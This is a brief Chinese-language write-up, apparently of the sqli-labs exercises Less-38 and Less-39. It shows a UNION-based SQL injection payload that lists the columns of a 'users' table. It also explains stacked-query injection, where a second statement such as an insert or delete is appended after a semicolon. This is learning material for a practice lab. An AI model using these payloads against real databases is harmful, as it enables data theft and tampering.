less-38
先判断注入类型,字符型。
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
不对劲啊,怎么没有任何阻拦啊。
看了眼名字,是堆叠注入。
用burpsuite测试可用的特殊符号发现了;
如果在一个sql语句后再跟上一个语句,比如这样select 1,2,3;select * from users;
,那么他会一起执行么。
这就是堆叠注入的简单解释了,也可以insert一个用户,删除东西啊等等,来帮助注入。
less-39
经过判断是数字型注入
然后和less-38没有任何区别了